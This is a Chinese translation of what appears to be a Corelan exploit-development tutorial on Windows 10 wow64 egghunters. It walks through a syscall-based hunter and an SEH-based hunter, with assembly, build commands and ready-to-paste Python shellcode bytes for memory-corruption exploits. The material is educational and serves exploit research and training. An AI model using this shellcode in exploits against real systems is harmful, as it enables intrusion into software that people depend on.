Windows 10 Egghunter (wow64) 技术解析
引言
我必须承认,我一直对Egghunter技术很感兴趣。这并不意味着我喜欢随意使用Egghunter,事实上,我认为应该尽量避免使用它,因为它会降低运行速度。但我对在内存中安全搜索而不使进程崩溃的技术很着迷。
在更新Corelan Bootcamp 2019版材料时,我发现Lincoln编写的Windows 7 wow64 Egghunter在Windows 10上不再工作。这是因为微软在每个主要Windows版本中都会更改系统调用号。最常用的Egghunter机制基于系统调用,因此调用号的改变会导致Egghunter失效。
系统调用及其编号在https://j00ru.vexillium.org/syscalls/nt/64/上有文档记录。Lincoln经过调试后为Windows 10制作了可用的版本。
Windows 10 wow64 Egghunter
挑战在于弄清楚新系统调用期望的参数位置和方式,以及它如何改变寄存器和堆栈布局,确保参数始终位于正确位置并提供预期功能:测试给定页面是否可访问,且不导致进程死亡。
以下是更新后的例程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
"\x33\xD2" # XOR EDX,EDX
"\x66\x81\xCA\xFF\x0F" # OR DX,0FFF
"\x33\xDB" # XOR EBX,EBX
"\x42" # INC EDX
"\x52" # PUSH EDX
"\x53" # PUSH EBX
"\x53" # PUSH EBX
"\x53" # PUSH EBX
"\x53" # PUSH EBX
"\x6A\x29" # PUSH 29 (系统调用0x29)
"\x58" # POP EAX
"\xB3\xC0" # MOV BL,0C0
"\x64\xFF\x13" # CALL DWORD PTR FS:[EBX] (执行系统调用)
"\x83\xC4\x10" # ADD ESP,0x10
"\x5A" # POP EDX
"\x3C\x05" # CMP AL,5
"\x74\xE3" # JE SHORT
"\xB8\x77\x30\x30\x74" # MOV EAX,74303077
"\x8B\xFA" # MOV EDI,EDX
"\xAF" # SCAS DWORD PTR ES:[EDI]
"\x75\xDE" # JNZ SHORT
"\xAF" # SCAS DWORD PTR ES:[EDI]
"\x75\xDB" # JNZ SHORT
"\xFF\xE7" # JMP EDI
|
这个Egghunter在Windows 10上运行良好,但假设你在wow64环境(64位OS上的32位进程)中运行。当然,如Lincoln在其博客文章中所述,你可以简单地添加检查以确定体系结构,并使Egghunter在原生32位OS上工作。
你也可以使用mona.py生成此Egghunter - 只需运行!mona egg -wow64 -winver 10
在调试此Egghunter(或任何使用系统调用的wow64 Egghunter)时,你会注意到在执行系统调用期间发生访问冲突。这些访问冲突可以安全地传递并由OS处理…但调试器每次看到访问冲突时都会中断。
如果你使用Immunity Debugger,可以简单地告诉调试器忽略访问冲突。为此,单击"debugging options",打开"exceptions"选项卡。在"Add range"下添加以下十六进制值:
1
2
|
0xC0000005 – ACCESS VIOLATION
0x80000001 – STATUS_GUARD_PAGE_VIOLATION
|
当然,在完成Egghunter调试后,不要忘记再次删除这两个异常。
未来发展
微软有权在其操作系统中更改任何内容。我认为开发人员不应该自己发出系统调用,而应该使用ntdll.dll中的包装函数。换句话说,MS更改系统调用号应该是"安全的"。
这让我思考:是否有一种不同的技术可以使Egghunter工作,而不使用系统调用?如果这样,该技术是否也适用于旧版本的Windows?如果我们不使用系统调用,它是否可以直接在原生x86和wow64环境中工作?
异常处理
skape撰写的关于Egghunter的原始论文(“Safely Searching Process Virtual Address Space”,2004年!)已经介绍了使用自定义异常处理程序来处理访问冲突的方法。不幸的是,原始实现似乎不再工作。
当OS看到异常并决定将其传递给进程中的相应线程时,它将指示ntdll.dll中的函数在该线程内启动异常处理机制。此例程将检查偏移量0处的TEB(可通过FS:[0]访问),并检索堆栈上异常处理链中最顶层记录的地址。每个记录包含2个字段:
1
2
3
4
|
struct EXCEPTION_REGISTRATION {
EXCEPTION_REGISTRATION *nextrecord; // 指向下一条记录的指针 (nseh)
DWORD handler; // 指向处理程序函数的指针
};
|
如果我们想控制异常发生时的情况,我们必须创建一个自定义的"最顶层"SEH记录,确保在Egghunter执行期间它始终是最顶层记录,并且我们必须使记录处理程序指向一个允许Egghunter继续运行并转到下一页的例程。
创建我们自己的自定义SEH记录意味着我们将向堆栈写入内容,覆盖/损坏已存在的内容。因此,如果你的Egghunter/shellcode也在该位置附近的堆栈上,你可能需要在运行Egghunter之前调整ESP。
这是我的基于SEH的Egghunter的样子(准备用nasm编译):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
; Universal SEH based egg hunter (x86 and wow64)
; tested on Windows 7 & Windows 10
; written by Peter Van Eeckhoutte (corelanc0d3r)
; www.corelan.be - www.corelan-training.com - www.corelan-consulting.com
;
; warning: will damage stack around ESP
;
; usage: find a non-safeseh protected pointer to pop/pop/ret and put it in the placeholder below
;
[BITS 32]
CALL $+4 ; getPC routine
RET
POP ECX
ADD ECX,0x1d ; offset to "handle" routine
;set up SEH record
XOR EBX,EBX
PUSH ECX ; remember where our 'custom' SE Handler routine will be
PUSH ECX ; p/p/r will fly over this one
PUSH 0x90c3585c ; trigger p/p/r again :)
PUSH 0x44444444 ; Replace with P/P/R address ** PLACEHOLDER **
PUSH 0x04EB5858 ; SHORT JUMP
MOV DWORD [FS:EBX],ESP ; put our SEH record to top of chain
JMP nextpage
handle: ; our custom handle
SUB ESP,0x14 ; undo changes to ESP
XOR EBX,EBX
MOV DWORD [FS:EBX],ESP ; make our SEH record topmost again
MOV EDX, [ESP+24] ; pick up saved EDX
INC EDX
nextpage:
OR DX, 0x0FFF
INC EDX
MOV [ESP+24], EDX ; remember where we are searching
MOV EAX, 0x74303077 ; w00t
MOV EDI, EDX
SCASD
JNZ nextpage+5
SCASD
JNZ nextpage+5
JMP EDI
|
让我们看看Egghunter的各个组件。
首先,hunter以"GetPC"例程开始(旨在查找其自身在内存中的绝对地址),然后是一条指令,该指令将0x1d字节添加到它能够使用该GetPC例程检索的地址。添加此偏移量后,ECX将包含实际"handler"例程在内存中的绝对地址。
接下来,代码正在创建一个新的自定义SEH记录。虽然SEH记录只包含2个字段,但代码实际上将5个特殊构造的值推入堆栈。只有最后2个将成为SEH记录,其他用于允许异常处理程序恢复ESP并继续执行Egghunter。
要完成SEH记录的创建并将其标记为最顶层记录,我们只需将其位置写入TEB。由于我们的新自定义SEH记录当前位于ESP,我们可以简单地将ESP的值写入偏移量0处的TEB(MOV DWORD [FS:EBX],ESP)。
此时,Egghunter已准备好测试页面是否可读。代码将使用EDX作为读取的参考位置。例程首先转到页面末尾(OR DX, 0x0FFF),然后转到下一页的开头(INC EDX),然后我们将EDX的值存储在堆栈上(在[ESP-4]处),因此异常处理程序稍后可以获取它。
如果读取尝试(SCASD)失败,将触发访问冲突。访问冲突将使用我们的自定义SEH记录(因为它应该是最顶层记录),并且该例程旨在恢复Egghunter的执行(通过运行"handle"例程,该例程最终将从堆栈恢复EDX指针并转到下一页)。
如果页面可读,Egghunter将检查标签的存在,两次。如果找到标签,最终的"JMP EDI"将告诉CPU运行双标签后面放置的代码。
在调试Egghunter时,你会注意到它会抛出访问冲突(当代码尝试访问不可访问的页面时)。当然,在这种情况下,这些访问冲突是完全正常的,但你仍然必须将异常传递回应用程序(Shift F9)。
为了使用Egghunter,你需要首先将asm指令转换为操作码。为此,你需要安装nasm。将上面的asm代码片段保存到文本文件中(例如"c:\dev\win10_egghunter_seh.nasm")。接下来,运行"nasm"将其转换为包含操作码的二进制文件:
1
|
"C:\Program Files (x86)\NASM\nasm.exe" -o c:\dev\win10_egghunter_seh.obj c:\dev\win10_egghunter_seh.nasm
|
接下来,将二进制文件的内容转储为可以在脚本和漏洞利用中使用的十六进制格式:
1
|
python c:\dev\bin2hex.py c:\dev\win10_egghunter_seh.obj
|
如果一切顺利,你将得到:
1
2
3
4
5
6
7
8
9
|
"\xe8\xff\xff\xff\xff\xc3\x59\x83"
"\xc1\x1d\x31\xdb\x51\x51\x68\x5c"
"\x58\xc3\x90\x68\x44\x44\x44\x44"
"\x68\x58\x58\xeb\x04\x64\x89\x23"
"\xeb\x0d\x83\xec\x14\x31\xdb\x64"
"\x89\x23\x8b\x54\x24\x24\x42\x66"
"\x81\xca\xff\x0f\x42\x89\x54\x24"
"\x24\xb8\x77\x30\x30\x74\x89\xd7"
"\xaf\x75\xf1\xaf\x75\xee\xff\xe7"
|
再次提醒,不要忘记将\x44\x44\x44\x44(第三行末尾)替换为pop/pop/ret的地址(如果要编辑字节,请以小端序存储地址)
Python友好的复制/粘贴代码:
1
2
3
4
5
6
7
8
9
10
11
12
|
egghunter = ("\xe8\xff\xff\xff\xff\xc3\x59\x83"
"\xc1\x1d\x31\xdb\x51\x51\x68\x5c"
"\x58\xc3\x90\x68")
egghunter += "\x??\x??\x??\x??" #替换为指向pop/pop/ret的指针。使用!mona seh
egghunter += ("\x68\x58\x58\xeb\x04\x64\x89\x23"
"\xeb\x0d\x83\xec\x14\x31\xdb\x64"
"\x89\x23\x8b\x54\x24\x24\x42\x66"
"\x81\xca\xff\x0f\x42\x89\x54\x24"
"\x24\xb8\x77\x30\x30\x74\x89\xd7"
"\xaf\x75\xf1\xaf\x75\xee\xff\xe7")
|
我还没有将此例程添加到mona.py中(但最终会在某个时候添加)。当然,如果你看到改进的空间,和/或能够减小Egghunter的大小,请随时告诉我。